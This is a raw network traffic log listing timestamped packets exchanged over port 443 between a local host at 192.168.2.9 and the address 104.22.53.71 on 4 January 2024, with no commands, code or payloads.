Jan 4, 2024 08:37:17.692239046 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.692276001 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.692282915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.692306995 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.692922115 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.692951918 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.692975998 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.692981005 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.693006039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.693131924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.693147898 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.693177938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.693185091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.693207026 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.693582058 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.693602085 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.693639040 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.693644047 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.693665028 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.694358110 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.694371939 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.694411039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.694416046 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.694434881 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.695187092 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.695204973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.695240974 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.695245028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.695262909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.695266962 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.695285082 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.695312977 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.695318937 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.695352077 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.695703983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.695719957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.695756912 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.695768118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.695786953 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.696432114 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.696445942 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.696481943 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.696486950 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.696508884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.697542906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.697562933 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.697593927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.697597980 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.697617054 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.698226929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.698282003 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.698282957 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.698291063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.698328018 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.698955059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.698982954 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.699011087 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.699014902 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.699033976 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.699678898 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.699698925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.699732065 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.699736118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.699767113 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.710083008 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.710098028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.710150957 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.710158110 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.710169077 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.712264061 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.712282896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.712321997 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.712327957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.712338924 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.718434095 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.718449116 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.718502998 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.718509912 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.727938890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.727957964 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.728012085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.728018999 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.729124069 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.729149103 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.729186058 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.729192019 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.729214907 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.729238987 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.729258060 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.729307890 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.729312897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.729317904 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.729861975 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.729876995 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.729912996 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.729919910 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.729939938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.731329918 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.731349945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.731394053 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.731399059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.731463909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.732822895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.732836962 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.732872009 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.732877970 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.732882977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.732906103 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.732912064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.732938051 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.732942104 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.732969046 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.732990980 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.733758926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.733769894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.733824015 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.733829021 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.733886957 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.735266924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.735282898 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.735327959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.735332012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.735359907 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.736407042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.736423969 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.736455917 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.736459970 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.736473083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.736483097 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.736505032 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.736509085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.736517906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.736548901 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.737389088 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.737406015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.737457991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.737462044 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.737503052 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.739095926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.739109993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.739161015 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.739166021 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.739228964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.740459919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.740478039 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.740510941 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.740514994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.740526915 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.740531921 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.740561008 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.740564108 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.740583897 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.740609884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.741570950 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.741586924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.741638899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.741645098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.741688013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.742372990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.742387056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.742435932 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.742439985 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.742474079 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.744050026 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.744067907 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.744121075 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.744127989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.744169950 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.746062994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.746079922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.746125937 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.746131897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.746160030 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.746167898 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.747164965 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.747183084 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.747236013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.747241974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.747251987 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.747287989 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.749139071 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.749156952 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.749211073 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.749217033 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.749248981 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.749294043 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.749968052 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.749984980 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.750025034 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.750029087 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.750036955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.750056028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.750061989 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.750093937 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.750098944 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.750123978 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.750153065 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.751336098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.751349926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.751399040 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.751405001 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.751421928 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.751456022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.753001928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.753016949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.753082037 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.753087997 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.753094912 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.753130913 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.754281998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.754300117 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.754340887 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.754364967 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.754369974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.754396915 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.754432917 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.755193949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.755213022 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.755266905 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.755270958 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.755279064 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.755846977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.755872011 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.755902052 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.755906105 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.755942106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.755944014 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.755958080 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.755985975 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.755990028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756016016 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756031990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756052017 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756081104 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756084919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756102085 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756110907 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756118059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756145000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756149054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756171942 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756176949 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756192923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756217003 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756221056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756268978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756270885 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756283998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756333113 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756340027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756355047 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756366014 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756376028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756407022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756416082 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756438017 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756443977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756457090 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756483078 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756486893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756524086 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756592989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756619930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756648064 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756652117 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756679058 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756681919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756699085 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756741047 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756746054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756767035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756772041 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756808996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756828070 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756836891 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756841898 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756884098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756889105 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756894112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756915092 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756923914 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756949902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756953001 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756966114 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.756973982 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.756978035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757006884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757011890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757030964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757061958 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757088900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757102966 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757144928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757158041 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757165909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757193089 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757229090 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757236958 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757252932 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757291079 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757294893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757316113 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757324934 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757333040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757373095 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757378101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757416964 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757430077 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757467985 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757477045 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757508039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757508993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757531881 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757560968 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757565022 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757586956 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757616997 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757625103 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757673979 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757678032 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757709026 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757725954 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757778883 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757790089 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757790089 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757796049 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757814884 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757838011 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757842064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757858038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757869959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757908106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757924080 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757941961 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757941961 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757947922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.757958889 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757967949 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.757980108 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.758012056 CET	443	49706	104.22.53.71	192.168.2.9
